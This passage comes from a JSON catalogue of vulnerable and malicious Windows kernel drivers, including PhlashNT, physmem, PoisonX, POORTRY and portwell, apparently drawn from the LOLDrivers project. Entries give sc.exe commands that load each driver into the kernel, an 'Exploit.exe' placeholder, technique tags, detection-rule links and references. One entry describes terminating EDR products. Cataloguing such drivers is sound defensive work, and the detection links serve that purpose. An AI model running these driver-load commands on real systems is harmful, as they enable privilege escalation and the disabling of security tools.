        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create PhlashNT.sys binPath=C:\\windows\\temp\\PhlashNT.sys type=kernel && sc.exe start PhlashNT.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-phlashnt",
    "install": [
      {
        "method": "custom",
        "description": "Load PhlashNT.sys kernel driver",
        "commands": [
          "sc.exe create PhlashNT.sys binPath=C:\\windows\\temp\\PhlashNT.sys type=kernel && sc.exe start PhlashNT.sys"
        ]
      }
    ],
    "name": "PhlashNT.sys",
    "namespace": "windows:kernel:phlashnt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create phydmaccx64.sys binPath=C:\\\\windows\\\\temp\\\\phydmaccx64.sys type=kernel && sc.exe start phydmaccx64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver phydmaccx64.sys\"\n\n# phydmaccx64.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-phydmaccx64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-phydmaccx64",
    "name": "phydmaccx64.sys",
    "namespace": "windows:kernel:phydmaccx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create phydmaccx86.sys binPath=C:\\\\windows\\\\temp\\\\phydmaccx86.sys type=kernel && sc.exe start phydmaccx86.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver phydmaccx86.sys\"\n\n# phydmaccx86.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-phydmaccx86.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-phydmaccx86",
    "name": "phydmaccx86.sys",
    "namespace": "windows:kernel:phydmaccx86",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create phymem_ext64sys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\phymem_ext64sys.sys type=kernel && sc.exe start phymem_ext64sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver phymem_ext64.sys\"\n\n# phymem_ext64.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-phymem-ext64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create phymem_ext64sys binPath= C:\\windows\\temp\\phymem_ext64sys.sys type=kernel && sc.exe start phymem_ext64sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-phymem-ext64",
    "install": [
      {
        "method": "custom",
        "description": "Load phymem_ext64.sys kernel driver",
        "commands": [
          "sc.exe create phymem_ext64sys binPath= C:\\windows\\temp\\phymem_ext64sys.sys type=kernel && sc.exe start phymem_ext64sys"
        ]
      }
    ],
    "name": "phymem_ext64.sys",
    "namespace": "windows:kernel:phymem-ext64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create phymem64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\phymem64.sys type=kernel && sc.exe start phymem64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver phymem64.sys\"\n\n# phymem64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-phymem64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/1963d5a0e512b72353953aadbe694f73a9a576f0241a988378fa40bf574eda52.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create phymem64.sys binPath=C:\\windows\\temp\\phymem64.sys type=kernel && sc.exe start phymem64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-phymem64",
    "install": [
      {
        "method": "custom",
        "description": "Load phymem64.sys kernel driver",
        "commands": [
          "sc.exe create phymem64.sys binPath=C:\\windows\\temp\\phymem64.sys type=kernel && sc.exe start phymem64.sys"
        ]
      }
    ],
    "name": "phymem64.sys",
    "namespace": "windows:kernel:phymem64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Phymemx64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Phymemx64.sys type=kernel && sc.exe start Phymemx64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Phymemx64.sys\"\n\n# Phymemx64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-phymemx64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create Phymemx64.sys binPath=C:\\windows\\temp\\Phymemx64.sys type=kernel && sc.exe start Phymemx64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-phymemx64",
    "install": [
      {
        "method": "custom",
        "description": "Load Phymemx64.sys kernel driver",
        "commands": [
          "sc.exe create Phymemx64.sys binPath=C:\\windows\\temp\\Phymemx64.sys type=kernel && sc.exe start Phymemx64.sys"
        ]
      }
    ],
    "name": "Phymemx64.sys",
    "namespace": "windows:kernel:phymemx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create physmem.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\physmem.sys type=kernel && sc.exe start physmem.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver physmem.sys\"\n\n# physmem.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-physmem.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create physmem.sys binPath=C:\\windows\\temp\\physmem.sys type=kernel && sc.exe start physmem.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-physmem",
    "install": [
      {
        "method": "custom",
        "description": "Load physmem.sys kernel driver",
        "commands": [
          "sc.exe create physmem.sys binPath=C:\\windows\\temp\\physmem.sys type=kernel && sc.exe start physmem.sys"
        ]
      }
    ],
    "name": "physmem.sys",
    "namespace": "windows:kernel:physmem",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/jbaines-r7/dellicious"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/55"
      },
      {
        "label": "Reference",
        "url": "https://github.com/hfiref0x/KDU"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create piddrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\piddrv.sys type=kernel && sc.exe start piddrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver piddrv.sys\"\n\n# piddrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-piddrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create piddrv.sys binPath=C:\\windows\\temp\\piddrv.sys type=kernel && sc.exe start piddrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-piddrv",
    "install": [
      {
        "method": "custom",
        "description": "Load piddrv.sys kernel driver",
        "commands": [
          "sc.exe create piddrv.sys binPath=C:\\windows\\temp\\piddrv.sys type=kernel && sc.exe start piddrv.sys"
        ]
      }
    ],
    "name": "piddrv.sys",
    "namespace": "windows:kernel:piddrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create piddrv64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\piddrv64.sys type=kernel && sc.exe start piddrv64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver piddrv64.sys\"\n\n# piddrv64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-piddrv64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create piddrv64.sys binPath=C:\\windows\\temp\\piddrv64.sys type=kernel && sc.exe start piddrv64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-piddrv64",
    "install": [
      {
        "method": "custom",
        "description": "Load piddrv64.sys kernel driver",
        "commands": [
          "sc.exe create piddrv64.sys binPath=C:\\windows\\temp\\piddrv64.sys type=kernel && sc.exe start piddrv64.sys"
        ]
      }
    ],
    "name": "piddrv64.sys",
    "namespace": "windows:kernel:piddrv64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create PMAD binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\PMAD.sys type=kernel && sc.exe start PMAD\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver PMAD.sys\"\n\n# PMAD.sys\n\nPMAD.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-pmad.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "PMAD.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create PMAD binPath=C:\\windows\\temp\\PMAD.sys type=kernel && sc.exe start PMAD",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-pmad",
    "install": [
      {
        "method": "custom",
        "description": "Load PMAD.sys kernel driver",
        "commands": [
          "sc.exe create PMAD binPath=C:\\windows\\temp\\PMAD.sys type=kernel && sc.exe start PMAD"
        ]
      }
    ],
    "name": "PMAD.sys",
    "namespace": "windows:kernel:pmad",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create PoisonX.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\PoisonX.sys type=kernel && sc.exe start PoisonX.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver PoisonX.sys\"\n\n# PoisonX.sys\n\nA Microsoft-signed vulnerable driver used in BYOVD attacks to terminate protected processes, including EDR solutions such as CrowdStrike Falcon. The driver exposes an IOCTL that allows arbitrary process termination from user mode by passing a PID.\n\n**Use Case:** Kill EDR / Privilege Escalation\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1562\n",
    "_source": "windows-kernel-poisonx.md",
    "author": "Bilal Retiat",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "A Microsoft-signed vulnerable driver used in BYOVD attacks to terminate protected processes, including EDR solutions such as CrowdStrike Falcon. The driver exposes an IOCTL that allows arbitrary process termination from user mode by passing a PID.",
    "execution": {
      "template": "sc.exe create PoisonX.sys binPath=C:\\windows\\temp\\PoisonX.sys type=kernel && sc.exe start PoisonX.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-poisonx",
    "install": [
      {
        "method": "custom",
        "description": "Load PoisonX.sys kernel driver",
        "commands": [
          "sc.exe create PoisonX.sys binPath=C:\\windows\\temp\\PoisonX.sys type=kernel && sc.exe start PoisonX.sys"
        ]
      }
    ],
    "name": "PoisonX.sys",
    "namespace": "windows:kernel:poisonx",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://medium.com/@jehadbudagga/reverse-engineering-a-0day-used-against-crowdstrike-edr-a5ea1fbe3fd4"
      },
      {
        "label": "Reference",
        "url": "https://github.com/j3h4ck/PoisonKiller/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create POORTRY.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\POORTRY.sys type=kernel && sc.exe start POORTRY.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver POORTRY.sys\"\n\n# POORTRY.sys\n\nDriver categorized as POORTRY by Mandiant.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-poortry.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver categorized as POORTRY by Mandiant.",
    "execution": {
      "template": "sc.exe create POORTRY.sys binPath=C:\\windows\\temp\\POORTRY.sys type=kernel && sc.exe start POORTRY.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-poortry",
    "install": [
      {
        "method": "custom",
        "description": "Load POORTRY.sys kernel driver",
        "commands": [
          "sc.exe create POORTRY.sys binPath=C:\\windows\\temp\\POORTRY.sys type=kernel && sc.exe start POORTRY.sys"
        ]
      }
    ],
    "name": "POORTRY.sys",
    "namespace": "windows:kernel:poortry",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create POORTRY1.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\POORTRY1.sys type=kernel && sc.exe start POORTRY1.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver POORTRY1.sys\"\n\n# POORTRY1.sys\n\nDriver categorized as POORTRY by Mandiant.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-poortry1.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver categorized as POORTRY by Mandiant.",
    "execution": {
      "template": "sc.exe create POORTRY1.sys binPath=C:\\windows\\temp\\POORTRY1.sys type=kernel && sc.exe start POORTRY1.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-poortry1",
    "install": [
      {
        "method": "custom",
        "description": "Load POORTRY1.sys kernel driver",
        "commands": [
          "sc.exe create POORTRY1.sys binPath=C:\\windows\\temp\\POORTRY1.sys type=kernel && sc.exe start POORTRY1.sys"
        ]
      }
    ],
    "name": "POORTRY1.sys",
    "namespace": "windows:kernel:poortry1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create POORTRY2.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\POORTRY2.sys type=kernel && sc.exe start POORTRY2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver POORTRY2.sys\"\n\n# POORTRY2.sys\n\nDriver categorized as POORTRY by Mandiant.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-poortry2.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver categorized as POORTRY by Mandiant.",
    "execution": {
      "template": "sc.exe create POORTRY2.sys binPath=C:\\windows\\temp\\POORTRY2.sys type=kernel && sc.exe start POORTRY2.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-poortry2",
    "install": [
      {
        "method": "custom",
        "description": "Load POORTRY2.sys kernel driver",
        "commands": [
          "sc.exe create POORTRY2.sys binPath=C:\\windows\\temp\\POORTRY2.sys type=kernel && sc.exe start POORTRY2.sys"
        ]
      }
    ],
    "name": "POORTRY2.sys",
    "namespace": "windows:kernel:poortry2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create portwell binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\portwell.sys type=kernel && sc.exe start portwell\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver portwell.sys\"\n\n# portwell.sys\n\nportwell.sys is a kernel driver from Portwell Inc. (Taiwan) that exposes physical memory read/write via MmMapIoSpace. Portwell manufactures embedded computing platforms and industrial PCs. The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-portwell.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "portwell.sys is a kernel driver from Portwell Inc. (Taiwan) that exposes physical memory read/write via MmMapIoSpace. Portwell manufactures embedded computing platforms and industrial PCs. The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.",
    "execution": {
      "template": "sc.exe create portwell binPath=C:\\windows\\temp\\portwell.sys type=kernel && sc.exe start portwell",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-portwell",
    "install": [
      {
        "method": "custom",
        "description": "Load portwell.sys kernel driver",
        "commands": [
          "sc.exe create portwell binPath=C:\\windows\\temp\\portwell.sys type=kernel && sc.exe start portwell"
        ]
      }
    ],
    "name": "portwell.sys",
    "namespace": "windows:kernel:portwell",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/314"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
